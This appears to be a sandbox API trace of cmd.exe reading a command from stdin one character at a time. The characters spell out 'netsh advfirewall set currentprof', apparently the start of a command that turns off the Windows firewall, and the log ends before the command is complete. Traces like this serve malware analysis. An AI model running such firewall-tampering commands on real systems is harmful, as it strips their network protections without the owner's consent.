	[0069.430] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0069.430] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x17accca0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0069.430] malloc (_Size=0x107ce) returned 0x17acccb0060
	[0069.431] _vsnwprintf (in: _Buffer=0x17acccb0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x1310cff368 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23
	[0069.431] _vsnwprintf (in: _Buffer=0x17acccb008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x1310cff368 | out: _Buffer=">") returned 1
	[0069.431] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0069.431] GetFileType (hFile=0x2b0) returned 0x3
	[0069.431] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0069.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25
	[0069.431] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x1310cff358, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0x1310cff358*=0x18, lpOverlapped=0x0) returned 1
	[0069.432] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.432] GetFileType (hFile=0x2a4) returned 0x3
	[0069.432] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.432] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.432] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c30, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0069.432] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.432] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.432] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c32, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0069.432] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.432] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.432] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c34, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0069.432] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.432] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.432] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c36, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0069.432] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.432] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.433] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c38, cchWideChar=1 | out: lpWideCharStr="h") returned 1
	[0069.433] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.433] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.433] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c3a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0069.433] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.433] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.433] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c3c, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0069.433] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.433] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.433] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c3e, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0069.433] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.433] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.433] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c40, cchWideChar=1 | out: lpWideCharStr="v") returned 1
	[0069.433] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.433] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.433] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c42, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0069.434] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.434] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.434] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c44, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0069.434] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.434] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.434] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c46, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0069.434] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.434] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.434] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0069.434] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.434] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.434] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c4a, cchWideChar=1 | out: lpWideCharStr="w") returned 1
	[0069.434] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.434] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.434] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c4c, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0069.434] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.434] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.435] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c4e, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0069.435] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.435] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.435] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c50, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0069.435] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.435] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.435] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c52, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0069.435] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.435] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.435] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c54, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0069.435] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.435] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.435] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c56, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0069.435] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.435] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.436] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c58, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0069.436] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.436] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.436] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c5a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0069.436] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.436] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.436] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c5c, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0069.436] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.436] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.436] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c5e, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0069.436] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.436] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.436] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c60, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0069.436] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.436] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.436] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.437] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c62, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0069.437] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.437] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.437] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.437] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c64, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0069.437] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.437] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.437] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.437] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c66, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0069.437] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.437] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.437] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.437] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c68, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0069.437] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.437] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.437] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.437] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c6a, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0069.437] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.437] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.437] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.437] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c6c, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0069.437] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.437] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.437] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.438] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c6e, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0069.438] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.438] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.438] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
	[0069.438] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c70, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0069.438] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0069.438] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.438] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1310cff6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0x1310cff6b8*=0x1, lpOverlapped=0x0) returned 1
